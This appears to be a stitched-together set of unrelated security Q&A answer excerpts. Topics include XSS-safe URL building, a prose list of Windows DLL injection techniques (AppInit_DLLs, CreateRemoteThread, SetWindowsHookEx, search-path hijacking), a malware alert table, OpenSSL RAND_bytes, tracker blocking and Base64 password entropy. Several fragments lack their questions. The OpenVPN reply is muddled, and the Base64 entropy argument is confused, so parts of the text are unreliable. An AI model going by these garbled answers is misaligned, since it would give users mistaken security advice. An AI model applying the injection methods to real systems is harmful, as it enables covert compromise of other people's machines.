Certainly, the more accessible you make the application, the wider your surface area for attack will be.  But online systems may also be easier to update and maintain, and if availability in a crisis outweighs inaccessibility in case of attack, then online may well be better than standalone client.

I'd be wary of advice on this point that didn't stem from a fairly comprehensive discussion of your purpose and product.


I can only assume that you have created an OpenVPN Server using a template or accessing said VPN Server through Proxy or the Server is infected, if they by any chance are affiliated by whatever unruly problem, that is the probable answer.

If you want to create an OpenVPN Server, I suggest a SeedBox which is in the Netherlands as to provide anonymity and no bandwith issues. (Assuming the OpenVPN is the fault)

If you want a proxy, don't try unless you have to as it is leakable.

If it is infected (which is most probable) then in that case you need to reset your VPS Server to Block 1 (New Install).


How to prevent XSS attack on selected window.location in javascript

Create the URL using the JavaScript URL API.
dest = new URL("Default.aspx", window.location);
dest.searchParams.append("uId", selecteduserId);
window.location = dest.href;

This provides a higher-level API, and it correctly encodes everything for you.


Ways to inject malicious DLLs to exe file and run it

The wikipedia article concerning Dll injection has nicely done summary of different techniques.

To summarize:

You can list a dll under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs and it will be loaded into every (new) process that links to user32.dll (i.e. pretty much every user-mode process)
Exploiting a weakness in a function that loads a library by path incorrectly (typically, placing a dll loaded by the target process higher in the search path) or simply replacing an existing library by your own.
Via CreateRemoteThread or CreateRemoteThreadEx. This is a bit more complex (and interesting) but lets you do that for existing processes.
Via SetWindowsHookEx. This is the easiest way to do it for a running process IMNSHO.
Suspending a thread and switching its context to your own code.
Writing a shim.


From your description, it appears to not just be a Defender source, but an SCCM source of knowledge you need.
https://docs.microsoft.com/en-us/sccm/protect/deploy-use/monitor-endpoint-protection

Malware Alert Levels Use the following table to identify the different Endpoint Protection alert levels that might be displayed in
reports, or in the Configuration Manager console.
Alert level
Failed Endpoint Protection failed to remediate
the malware. Check your logs for details of the error.
Note: For a list of Configuration Manager and Endpoint Protection log
files, see the "Endpoint Protection" section in the Log files in
System Center Configuration Manager topic.
Removed   Endpoint Protection successfully removed the malware.
Quarantined   Endpoint Protection
moved the malware to a secure location and prevented it from running
until you remove it or allow it to run.
Cleaned   The malware was
cleaned from the infected file.
Allowed    An administrative user
selected to allow the software that contains the malware to run.
No Action Endpoint Protection took no action on the malware. This might
occur if the computer is restarted after malware is detected and the
malware is no longer detected; for instance, if a mapped network drive
on which malware is detected is not reconnected when the computer
restarts.
Blocked   Endpoint Protection blocked the malware from
running. This might occur if a process on the computer is found to
contain malware.


Law of Large Numbers vs. OpenSSL RAND_bytes

By definition, a cryptographically secure PRNG will give you the most uniform distribution -- because any detectable bias would be considered as a weakness. If the PRNG is "strong", then this means that nobody ever detected a single bias, even though they were trying real hard.

OpenSSL's RAND_bytes() function is supposed to be a cryptographically strong PRNG, and many systems rely on that.

With timestamps, you can only hope that nobody will guess your method and create accounts at regular intervals precisely to always fall on the same database and thus make your life harder.

Therefore, use RAND_bytes().


On a pure theoretical basis, the list of URL to block to remain anonymous is... all of them ! As soon as you contact a Web site, any site, then that site sees your IP address and can track you. The Google-like addresses that you see are used by trackers who:

don't want to hide the fact that they track you;
delegate the job to people who are good at that job;
especially when the tracking is meant to be ultimately exploited by these people.

So, basically, that kind of visible tracking is for targeted advertisement. Regardless of what you may think of the morality of such practices, one has to convene that this is about the most harmless kind of tracking: it is done by businesses who crave your attention and, indirectly, your money, but only as part of consenting transactions (i.e. buying stuff). If you concentrate on blocking these URL, you will miss on the more dangerous tracking, done behind the scene in ways that you won't see (namely by aggregating log files from host systems) and won't block either.

If you really want to "be anonymous", you'll need heavier mechanisms, e.g. Tor (whether Tor really provides anonymity is open to debate, but at least it represents a substantial effort in that direction). If you just want not to see ads, then there are extensions for that (apparently some people find that one convenient).


Is this a secure way to generate passwords at the command line?

You could increase the number of bytes to 45. Then you are guaranteed not to get the value truncated to lower than 30 bytes because then at least a half (30 characters) would need to be /, = or + to render a string shorter than 30 characters.

Yes its sufficiently random.

No bias is introduced by Base64-encoding the characters, since you just convert them to a Another base format. Its still the exact same number.
The only small bias introduced is removing the /, and +, which would correspond to removing every occurrence of 111110 and 111111 in the string, you would basically only lose 2 bits of entropy over a string that is 180 bits long, it would reduce the random to 178 bits, which is still much better than a SHA1 string (that many passwords is stored as), MD5 or AES 128 key.

The character = is only padding and does not have any meaningful value in a base64 string.


What can the effects of reflected XSS on the login page be?

Injecting code in a page can lead to a lot many things. Few of those are:

Lead to Phishing attacks
Redirection
A keylogger can be created
XSRF
Get data from JS variables and non-HTTPonly cookies